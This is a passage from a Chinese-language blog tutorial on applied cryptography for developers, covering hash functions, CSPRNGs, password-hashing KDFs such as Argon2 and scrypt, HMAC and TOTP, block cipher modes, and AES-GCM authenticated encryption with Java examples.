&lt;p&gt;长度拓展攻击（Length extension attack）： 基于 Merkle–Damgård 结构的散列算法（MD5、SHA-1、SHA-2 等）在已知 $hash(secret + message)$ 的值以及 $secret$ 长度的情况下，可以推算出 $hash(secret + message || padding || m)$ 的值，其中 $m$ 为任意数据。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如果要做消息认证，考虑 SHA-3（或者 HMAC，后面会提到）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qi-ta-xuan-ze&quot;&gt;其他选择&lt;&#x2F;h2&gt;
&lt;p&gt;BLAKE2 是一系列快速、高度安全的加密散列函数，打进了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;NIST_hash_function_competition#Finalists&quot;&gt;SHA-3 NIST competition 的决赛圈&lt;&#x2F;a&gt;。当然这场比赛的胜者是 Keccak 算法，于是 SHA-3 就用这个算法实现了。SHA-3（SHA3-224，SHA3-256，SHA3-384，SHA3-512）在相同长度下有着比 SHA-2 更高的安全性，且不会受到长度拓展攻击。Keccak-256 则广泛应用于以太坊。&lt;&#x2F;p&gt;
&lt;p&gt;SHAKE-128 和 SHAKE-256 是 SHA3-256 和 SHA3-512 的变体，特点是可以改变输出的长度。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; 输出 160-bits 的哈希值
SHAKE-256(&amp;#x27;hello&amp;#x27;, 160) = 1234075ae4a1e77316cf2d8000974581a343b9eb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cong-an-quan-jiao-du-kao-lu-bi-mian-shi-yong-de-san-lie-suan-fa&quot;&gt;从安全角度考虑避免使用的散列算法&lt;&#x2F;h2&gt;
&lt;p&gt;一些老一代的加密散列算法，如 MD5，SHA-1 被认为是不安全的，并且都存在已被发现的碰撞漏洞。只有在碰撞不会产生问题的情下才考虑使用（比如 Git 为 commit 产生标识符使用了 SHA-1），不过这时候通常会有更好的选择。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fei-jia-mi-san-lie-han-shu&quot;&gt;非加密散列函数&lt;&#x2F;h2&gt;
&lt;p&gt;加密散列函数为了实现更高的安全性付出了计算复杂耗时长的代价，然而实际应用中很多场景不需要这么高的安全性，相反可能会对速度、随机均匀性等有更高的要求，这就催生出了很多非加密散列函数。&lt;&#x2F;p&gt;
&lt;p&gt;xxHash 支持生成 32 和 64 位的哈希值，性能非常猛，如果你的程序在这方面遇到了瓶颈，不妨考虑下。&lt;&#x2F;p&gt;
&lt;p&gt;MurmurHash 是另一种非加密型哈希函数，对于规律性较强的 key 有更好的随机分布表现，为 Redis、NGINX、Cassandra、HBase、Lucene 等软件采用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mi-ma-xue-an-quan-wei-sui-ji-shu-sheng-cheng-qi-cryptography-secure-pseudo-random-number-generators-csprng&quot;&gt;密码学安全伪随机数生成器（Cryptography Secure Pseudo-Random Number Generators，CSPRNG）&lt;&#x2F;h2&gt;
&lt;p&gt;满足如下两个特性即可称之为密码学安全随机数生成器：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;能通过「下一比特测试」：即使获知了该 PRNG 的 k 位，也无法使用合理的资源预测第 k+1 位&lt;&#x2F;li&gt;
&lt;li&gt;如果攻击者猜出了 PRNG 的内部状态，或该状态因某种原因而泄漏，攻击者也无法重建出内部状态泄漏之前生成的所有随机数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;编程语言中的 CSPRNG 有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Java: &lt;code&gt;java.security.SecureRandom&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Python: &lt;code&gt;secrets&lt;&#x2F;code&gt; 库或者 &lt;code&gt;os.urandom()&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;JavaScript in Browser：&lt;code&gt;window.crypto.getRandomValues(Uint8Array)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;JavaScript in Node：&lt;code&gt;crypto.randomBytes()&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&amp;#x2F;&amp;#x2F; 使用 java.security.SecureRandom
SecureRandom random = new SecureRandom();
byte[] bytes = new byte[20];
random.nextBytes(bytes);
System.out.println(BaseEncoding.base16().lowerCase().encode(bytes));
System.out.println(random.nextBoolean());
System.out.println(random.nextInt());
System.out.println(random.nextInt(10));
System.out.println(random.nextGaussian());
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建随机 ID、随机数、初始向量或者随便什么随机变量时，确保总是使用操作系统内核空间中的 CSPRNG，即 &lt;code&gt;&#x2F;dev&#x2F;urandom&lt;&#x2F;code&gt;，Java 开发者可以通过 &lt;code&gt;new SecureRandom().getAlgorithm()&lt;&#x2F;code&gt; 确认这一点。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mi-yao-pai-sheng-han-shu-key-derivation-function-kdf&quot;&gt;密钥派生函数（Key Derivation Function，KDF）&lt;&#x2F;h2&gt;
&lt;p&gt;密码学中的密钥（key）通常指的是一个大整数（或者说指定长度的二进制序列），而人类记住一个字符串格式的口令（password）要容易得多，这之间的转换需要用到密钥派生函数。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;不要觉得记一个整数有什么难的，一个 256-bits 的 key 能够表示 0 到 1.15792089e77 间的任意一个整数。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;由于一般人使用的密码不会超过 15 位，还会使用很多常见的组合（姓名、生日、部门、&lt;code&gt;admin&lt;&#x2F;code&gt;、&lt;code&gt;p@ssword&lt;&#x2F;code&gt; 等等），仅仅使用散列函数（或者「级联」散列函数，比如 &lt;code&gt;SHA256(SHA256(SHA256(password)))&lt;&#x2F;code&gt;，别笑）作为 KDF 的话，通过统计学的方法碰撞出原文还是比较容易的。&lt;&#x2F;p&gt;
&lt;p&gt;在计算 hash 时加盐（salt）曾经是一种比较好的方法，不过现在攻击者使用 FPGA、ASIC 或者 GPU 也可以比较容易地暴力破解。&lt;&#x2F;p&gt;
&lt;p&gt;一个好的 KDF 主要从三个维度考虑提升碰撞难度：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;增加时间复杂度，消耗更多的计算资源&lt;&#x2F;li&gt;
&lt;li&gt;增加空间复杂度，消耗更多内存空间&lt;&#x2F;li&gt;
&lt;li&gt;使用无法分解的算法，只允许单线程运算&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;mi-ma-cun-chu&quot;&gt;密码存储&lt;&#x2F;h2&gt;
&lt;p&gt;在网站登录功能中，我们需要比较用户提供的口令是否与数据库内的记录是否一致，由于我们不能直接存储用户密码（想做第二个 CSDN？），KDF 就可以派上用场。&lt;&#x2F;p&gt;
&lt;p&gt;将 &lt;code&gt;{salt, KDF(password, salt)}&lt;&#x2F;code&gt; 存储在数据库中。当数据库被攻破时，攻击者需要消耗更多的资源破译出原本的口令（不考虑其他防御措施，好的 KDF 可以耗去 0.2 秒的计算时间，拉低攻击的频率（或者大幅提高代价））。对于正常的用户登录流程，由于一段时间内只需要执行一次这种操作，这个策略是完全可接受的。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;Security&lt;&#x2F;th&gt;&lt;th&gt;Adaptable Work Factor&lt;&#x2F;th&gt;&lt;th&gt;Memory-hardness&lt;&#x2F;th&gt;&lt;th&gt;Year Introduced&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;CRYPT&lt;&#x2F;td&gt;&lt;td&gt;Not recommended&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;td&gt;1970s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MD5crypt&lt;&#x2F;td&gt;&lt;td&gt;Not recommended&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;td&gt;1994&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;BCRYPT&lt;&#x2F;td&gt;&lt;td&gt;High&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;td&gt;1999&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PBKDF2WithHmacSHA1 (RFC 2898, 2000)&lt;&#x2F;td&gt;&lt;td&gt;Moderate to high&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;td&gt;2000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Scrypt (Percival, 2013)&lt;&#x2F;td&gt;&lt;td&gt;High&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;td&gt;2009&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Argon2 (Biryukov &amp;amp; Dinu, 2016)&lt;&#x2F;td&gt;&lt;td&gt;High&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;td&gt;2015&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;目前来说有 2 个方案值得选择，表现最好的 Argon2 是 2015 年密码 Hash 竞赛的赢家，如果可以的话选择 Argon2id：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Argon2&lt;&#x2F;li&gt;
&lt;li&gt;SCrypt&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当然除了使用 KDF，在用户连续登录失败 2-3 次后临时锁定帐户或增加验证也是必要的，在数据的传输过程中也要使用 TLS。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zai-java-ying-yong-zhong-shi-yong&quot;&gt;在 Java 应用中使用&lt;&#x2F;h3&gt;
&lt;p&gt;如果你使用 Spring Security 来管理用户密码的话，不需要考虑这个问题。否则可以阅读 &lt;code&gt;org.springframework.security:spring-security-crypto&lt;&#x2F;code&gt; 较新版本的包中 &lt;code&gt;org.springframework.security.crypto&lt;&#x2F;code&gt; 下的代码以了解怎样正确地配置这些 KDF（推荐参数会随着安全形势变化更新）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Argon2&lt;&#x2F;code&gt; 和 &lt;code&gt;SCrypt&lt;&#x2F;code&gt; 依赖 &lt;code&gt;org.bouncycastle:bcprov&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&amp;#x2F;&amp;#x2F; org.springframework.security.crypto.argon2.Argon2PasswordEncoder
Argon2PasswordEncoder(int saltLength, int hashLength, int parallelism, int memory, int iterations)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;saltLength: the salt length (in bytes)&lt;&#x2F;li&gt;
&lt;li&gt;hashLength: the hash length (in bytes)&lt;&#x2F;li&gt;
&lt;li&gt;parallelism: the parallelism&lt;&#x2F;li&gt;
&lt;li&gt;memory: the memory cost&lt;&#x2F;li&gt;
&lt;li&gt;iterations – the number of iterations&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&amp;#x2F;&amp;#x2F; org.springframework.security.crypto.scrypt.SCryptPasswordEncoder
SCryptPasswordEncoder(int saltLength, int hashLength, int parallelism, int memory, int iterations)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;cpuCost: cpu cost of the algorithm (as defined in scrypt this is N). must be power of 2 greater than 1&lt;&#x2F;li&gt;
&lt;li&gt;memoryCost: memory cost of the algorithm (as defined in scrypt this is r)&lt;&#x2F;li&gt;
&lt;li&gt;parallelization: the parallelization of the algorithm (as defined in scrypt this is p)&lt;&#x2F;li&gt;
&lt;li&gt;keyLength: key length for the algorithm (as defined in scrypt this is dkLen)&lt;&#x2F;li&gt;
&lt;li&gt;saltLength: salt length (as defined in scrypt this is the length of S)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如果你使用了 Spring Security，可能会发现 Spring 在编码用户密码使用了 BCrypt 算法，虽然总的来说 BCrypt 不如 Argon2id 和 SCrypt 来的有效，但我们事前也提到过许多参数若是配得不对，效果就会大打折扣。所以除非你打算换成 Argon2，否则最好让它留在原来的位子上。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder&lt;&#x2F;code&gt; 使用了 Spring 自己实现的 BCrypt 算法，只有一个 &lt;code&gt;strength&lt;&#x2F;code&gt; 参数需要调整，可选 4-31 范围内的整数，默认构造函数目前使用了 10（&lt;code&gt;org.springframework.security:spring-security-crypto:6.0.3&lt;&#x2F;code&gt; 中）。&lt;&#x2F;p&gt;
&lt;p&gt;许多框架和库的实现最终会输出一个包含了算法配置、盐和散列值的字符串，以加密 &lt;code&gt;admin&lt;&#x2F;code&gt; 这个「口令」为例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Argon2id
$argon2id$v=19$m=16384,t=2,p=1$YQlURhTwe8pHnvMlEwYqrg$NYEq5pW6gAKvGMknwjsvBTeYKJ6s6E9vBaKKVO4Elow
# Scrypt
$100801$p03RqYIPB7nQ35hIzudydw==$BM1thGRnj+mkcWPzC1uxzaUePV6JLF67IDPR6kH0hgI=
# Bcrypt
$2a$10$w1af&amp;#x2F;ThE5.wc8JHgk9qzieIOuLv.b7HXuoTbvGDer8CTpY011X1ha
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bu-tui-jian-lie-biao&quot;&gt;不推荐列表&lt;&#x2F;h3&gt;
&lt;p&gt;之前普遍使用的 PBKDF2 通过多次迭代和 Padding 来消耗 CPU 资源，缺乏对 GPU、ASIC、FPGA 的免疫能力，正在不可避免地滑向「不应当使用」列表。如果你只能使用这一方案，根据开放式 Web 应用程序安全项目（OWASP）在 2021 年的建议，对 PBKDF2-HMAC-SHA256 使用 310000 次迭代。当然了，他们似乎每两年就把推荐的迭代次数翻一番，2023 年更新本文时我又去 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cheatsheetseries.owasp.org&#x2F;cheatsheets&#x2F;Password_Storage_Cheat_Sheet.html&quot;&gt;看了下&lt;&#x2F;a&gt;，已经变成「use PBKDF2 with a work factor of 600,000 or more and set with an internal hash function of HMAC-SHA-256」了。&lt;&#x2F;p&gt;
&lt;p&gt;此外应当避免使用：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;SHA-2，SHA-1，MD5（甭管什么安全的不安全的散列函数以及它们的组合和级联）&lt;&#x2F;li&gt;
&lt;li&gt;自己造的轮子（除非你是一位数学家）&lt;&#x2F;li&gt;
&lt;li&gt;任意一种加密算法&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;xiao-xi-jian-bie-ma-message-authentication-code-mac&quot;&gt;消息鉴别码（Message Authentication Code，MAC）&lt;&#x2F;h2&gt;
&lt;p&gt;MAC 通过检测消息内容的更改来证实消息的完整性与真实性。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;applied-modern-crypto&#x2F;mac-message-authentication.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;应仅将 MAC 用于消息身份验证，而不应将其用于生成伪随机字节等其他目的。&lt;&#x2F;p&gt;
&lt;p&gt;在 MAC 的应用场景中，双方使用预先共享的相同密钥（pre-shared key），这是 MAC 与数字签名的主要区别之一。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hash-based-message-authentication-code-hmac&quot;&gt;Hash-based Message Authentication Code, HMAC&lt;&#x2F;h2&gt;
&lt;p&gt;当我们使用散列函数来计算 MAC 时，比较流行的方案有 HMAC（Hash-based MAC，例如 HMAC-SHA256）和 KMAC（Keccak-based MAC）。&lt;&#x2F;p&gt;
&lt;p&gt;HMAC 的实现大致可表示为 &lt;code&gt;hash(secret + hash(secret + message))&lt;&#x2F;code&gt;，因此不受长度扩展攻击影响。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dong-tai-kou-ling-one-time-passwords-otp&quot;&gt;动态口令（One-Time Passwords, OTP）&lt;&#x2F;h3&gt;
&lt;p&gt;动态口令是每隔一定的时间间隔生成的不可预测随机数字组合。由于有效期较短，不容易受到重放攻击。通常网银、网游的密保、两步验证 APP 都是 OTP 的应用场景。&lt;&#x2F;p&gt;
&lt;p&gt;双方约定一个密钥，然后计算一些数据的 HMAC，通过某种方法转换成数字组合进行比对，称为 HOTP（HMAC-based One-time Password）。有一些方案使用计数器作为「一些数据」，就是 COTP（Counter-based One-Time Password），不过服务器端和客户端丢失同步状态的时候比较麻烦，所以另一个基于时间戳的 TOTP（Time-based One-Time Password）方案看起来就很不错了，计算方式为 &lt;code&gt;OTP(K, T) = Truncate(HMAC-SHA1(K, T))&lt;&#x2F;code&gt;，其中 &lt;code&gt;T&lt;&#x2F;code&gt; 根据当前 Unix 时间戳得出。&lt;&#x2F;p&gt;
&lt;p&gt;使用 TOTP 需要注意给定充足的时间窗口，让用户在这个时间段内输入的 OTP 保持不变，一般为 30 秒。为了防止服务器与客户端时间不同步导致校验失败，验证时可能也会计算前一个和后一个时间窗口的 TOTP。&lt;&#x2F;p&gt;
&lt;p&gt;由于遍历 6 个数字还是比较简单的，需要在一定错误尝试之后限制用户行为。&lt;&#x2F;p&gt;
&lt;p&gt;如果站点通过 OTP 实现两步验证，那么在开启该项配置时通常会要求用户保存一些「救援代码」，这些救援代码也是一次性的，目的是允许用户临时脱离 OTP 设备（例如丢失设备）也能验证身份。这些「救援代码」可以经 KDF 处理后存储在数据库中。&lt;&#x2F;p&gt;
&lt;p&gt;如果你打算在 Java 项目中使用 TOTP，那么笔者提供了&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ddrpa&#x2F;totp-implementation&quot;&gt;一个实现&lt;&#x2F;a&gt;，你可以从 Maven 中央仓库以 &lt;code&gt;cc.ddrpa.security:totp&lt;&#x2F;code&gt; 找到。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dui-cheng-jia-mi&quot;&gt;对称加密&lt;&#x2F;h2&gt;
&lt;p&gt;对称密钥加密算法使用一个共享密钥来加密和解密消息。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;即使计算机进入量子时代，仍然可以沿用当前的对称密码算法。因为大多数现代对称密钥密码算法都是抗量子的（quantum-resistant），这意味当使用长度足够的密钥时，强大的量子计算机无法破坏其安全性。目前来看 256 位的 AES 在很长一段时间内都将是量子安全的。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;单纯使用加密算法是不够的，这是因为有的加密算法只能按块进行加密，而且通常加密算法不保证密文的真实性、完整性。因此现实中我们通常会把对称加密算法和其他算法组成「加密方案」。&lt;&#x2F;p&gt;
&lt;p&gt;一个「分组加密方案」通常包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分组密码工作模式&lt;&#x2F;strong&gt;（用于将分组密码转换为流密码，有 CBC &#x2F; CTR 等）+&lt;strong&gt;消息填充算法&lt;&#x2F;strong&gt;（如 PKCS7）：分组密码算法需要借助这两种算法才能加密任意大小的数据&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;分组密码算法&lt;&#x2F;strong&gt;（如 AES）：使用密钥安全地加密固定长度的数据块&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;消息认证算法&lt;&#x2F;strong&gt;（如 HMAC）：用于验证消息的真实性、完整性、不可否认性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;流密码加密方案本身就能加密任意长度的数据，因此不需要「分组密码工作模式」与「消息填充算法」。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fen-zu-mi-ma-gong-zuo-mo-shi&quot;&gt;分组密码工作模式&lt;&#x2F;h2&gt;
&lt;p&gt;CTR（计数器）模式在大多数情况下是一个不错的选择，因为它具有很强的安全性和并行处理能力，但它不能提供身份验证和完整性校验。使用伽罗华域（Galois Field，有限域）乘法运算计算消息的 MAC 值的方法称为 GMAC，配合 CTR 诞生了 GCM（伽罗瓦&#x2F;计数器，Galois &#x2F; Counter）模式。&lt;&#x2F;p&gt;
&lt;p&gt;GCM、CTR 和其他分组模式会泄漏原始消息的长度，因为它们生成的密文长度与明文消息的长度相同。如果你想避免泄露原始明文长度，可以在加密前向明文添加一些随机字节并在解密后将其删除。&lt;&#x2F;p&gt;
&lt;p&gt;其他的分组在某些情况下可能会有所帮助，但很可能有安全隐患。除非你很清楚自己在做什么，否则应当始终选择这两个分组模式。&lt;&#x2F;p&gt;
&lt;p&gt;不要使用 EBC（电子密码本）模式，这种模式使用相同的密钥对明文分组单独加密。&lt;&#x2F;p&gt;
&lt;p&gt;CBC（密文分组链接）模式中加密算法的输入是上一个密文组与本明文分组的异或。虽然 CBC 模式通常被认为是安全的并被广泛应用，在某些情况下，CBC 阻塞模式可能容易受到「Padding Oracle」攻击&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;密文填塞攻击，Padding Oracle attack 在对称加密中，填充神谕攻击可应用在分组密码工作模式上，其反馈的“神谕”（通常为服务器）信息将返回泄漏密文填充的正确与否。攻击者可在没有加密密钥的情况下，透过此信息的神谕密钥解密（或加密）信息。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;chu-shi-xiang-liang-initialization-vector-iv-nonce-salt&quot;&gt;初始向量（Initialization Vector，IV）&#x2F; Nonce &#x2F; Salt&lt;&#x2F;h3&gt;
&lt;p&gt;通过添加不可预测的随机数可以使同样的明文产生不同的密文，从而确保密文的不可预测性。&lt;&#x2F;p&gt;
&lt;p&gt;在 CBC 等模式中，初始向量在第一个分组的加密过程中代替「上一个密文组」，此时 IV 的大小应与密码块大小相同，例如 AES 的密码块是 128 位，那么 IV 也是 128 位。&lt;&#x2F;p&gt;
&lt;p&gt;CTR 模式也使用 128-bits 的初始向量。&lt;&#x2F;p&gt;
&lt;p&gt;在 GCM 模式中，初始向量也被称为 Nonce，用于影响计数器。应当使用 96-bits 的随机数。&lt;&#x2F;p&gt;
&lt;p&gt;IV &#x2F; Nonce &#x2F; Salt 必须唯一且不可预测，但不必保密。开发者应使用 CSPRNG 生成随机变量并与密文一起存储或传输。常见错误是使用相同的密钥和随机变量加密多条消息，这使得针对大多数分组模式的各种攻击成为可能。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fen-zu-mi-ma-suan-fa-aes&quot;&gt;分组密码算法 AES&lt;&#x2F;h2&gt;
&lt;p&gt;AES 被证明是高度安全、快速且标准化的，到目前为止没有发现任何明显的弱点或攻击手段，而且几乎在所有平台上都得到了很好的支持。&lt;&#x2F;p&gt;
&lt;p&gt;AES 使用 128-bits 大小的分组，密钥的长度则任意，一般为 128-bits、192-bits 或 256-bits。大部分场景下 AES-128（128-bits）已经足够，如果对安全有更高要求的话则推荐使用 AES-256（256-bits）。&lt;&#x2F;p&gt;
&lt;p&gt;AES 通常与 CTR &#x2F; GCM 分组模式组合成分组加密方案（AES-CTR 或 AES-GCM）以处理流数据。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ren-zheng-jia-mi-authenticated-encryption-ae-yu-dai-you-guan-lian-shu-ju-de-ren-zheng-jia-mi-authenticated-encryption-with-associated-data-aead&quot;&gt;认证加密（Authenticated Encryption，AE）与带有关联数据的认证加密（Authenticated Encryption with Associated Data，AEAD）&lt;&#x2F;h2&gt;
&lt;p&gt;AES 并不保证密文的真实性、完整性，也就是说加密一段文字，修改密文，解密，还是能得到一段文本。那么，我们要如何确认对方接收到的加密信息在解密后与原文保持一致？&lt;&#x2F;p&gt;
&lt;p&gt;可以使用 MAC，接收方计算解密信息的 MAC 并与接收到的值比较。&lt;&#x2F;p&gt;
&lt;p&gt;这种方案称为认证加密。&lt;code&gt;AES-256-CTR-HMAC-SHA256&lt;&#x2F;code&gt; 就表示使用 AES-256 与 Counter 分组模式进行加密，使用 HMAC-SHA256 进行消息认证。另一些认证加密算法如 AES-GCM 和 ChaCha20-Poly1305 则内置了校验计算。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;带有关联数据的认证加密（AEAD）是认证加密的更安全变体。AEAD 将不需要加密的关联数据（AD）与密码文本和它应该出现的上下文结合在一起。因此试图将有效的密码文本「剪切粘贴」到不同的上下文中的行为可以被检测和拒绝，确保整个数据流得到验证和完整性保护。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这么说似乎有点抽象，举个例子，假设我们的医疗系统支持用户查看自己的病历（&lt;code&gt;SELECT encrypted-medical-history FROM table WHERE user-id = $current_user&lt;&#x2F;code&gt;），攻击者在能够修改数据库的情况下，只需要把自己的 &lt;code&gt;encrypted-medical-history&lt;&#x2F;code&gt; 属性替换为其他用户的数据，就能以合法途径解密所有数据。&lt;&#x2F;p&gt;
&lt;p&gt;如果我们把 &lt;code&gt;user-id&lt;&#x2F;code&gt; 作为加 &#x2F; 解密上下文，至少可以阻止这类攻击。&lt;&#x2F;p&gt;
&lt;p&gt;另一个用法是使用当前日期作为上下文，这样光凭密文而不知道加密日期是无法正确解密的，在一定程度上实现了有时效性的加密。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qi-ta-zhi-shi&quot;&gt;其他知识&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;纯软件实现的话，ChaCha20-Poly1305 比 AES-GCM 要快&lt;&#x2F;li&gt;
&lt;li&gt;硬件加速加持的 AES-GCM 比 ChaCha20-Poly1305 快&lt;&#x2F;li&gt;
&lt;li&gt;AES-CTR HMAC 的软件实现比 AES-GCM 快&lt;&#x2F;li&gt;
&lt;li&gt;实现安全的 Poly1305 比 GCM 要容易些&lt;&#x2F;li&gt;
&lt;li&gt;AES-GCM 是行业标准&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;shi-yong-javax-crypto-cipher-shi-xian-aead&quot;&gt;使用 &lt;code&gt;javax.crypto.Cipher&lt;&#x2F;code&gt; 实现 AEAD&lt;&#x2F;h3&gt;
&lt;p&gt;以 &lt;code&gt;AES128-GCM-NoPadding&lt;&#x2F;code&gt; 为例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&amp;#x2F;&amp;#x2F; 通常情况下 key 应当秘密地获取
&amp;#x2F;&amp;#x2F; 或是通过 Argon2 等 KDF 从口令（和其他参数）生成
byte[] key = generateRandomBytes(128);
&amp;#x2F;&amp;#x2F; iv 不需要加密，且应当随 cipher text 一起存储
&amp;#x2F;&amp;#x2F; AES&amp;#x2F;GCM 使用 96-bits 的 nonce
byte[] iv = generateRandomBytes(96);
byte[] plainText = &amp;quot;Hello World!&amp;quot;.getBytes(StandardCharsets.UTF_8);

&amp;#x2F;&amp;#x2F; 加密
Cipher cipher = Cipher.getInstance(&amp;quot;AES&amp;#x2F;GCM&amp;#x2F;NoPadding&amp;quot;);
&amp;#x2F;&amp;#x2F; Tag（其实就是 MAC）长度为 128-bits
cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key, &amp;quot;AES&amp;quot;), new GCMParameterSpec(128, iv));
&amp;#x2F;&amp;#x2F; 添加上下文信息
&amp;#x2F;&amp;#x2F; 有些环境不支持空的 AAD，例如 Android KitKat (API level 19)
cipher.updateAAD(new byte[0]);
&amp;#x2F;&amp;#x2F; 密文的长度应当等于明文长度 + Tag 长度
byte[] cipherText = cipher.doFinal(plainText);

&amp;#x2F;&amp;#x2F; 解密
cipher = Cipher.getInstance(&amp;quot;AES&amp;#x2F;GCM&amp;#x2F;NoPadding&amp;quot;);
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, &amp;quot;AES&amp;quot;), new GCMParameterSpec(128, iv));
cipher.updateAAD(new byte[0]);
byte[] decryptedText = cipher.doFinal(cipherText);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
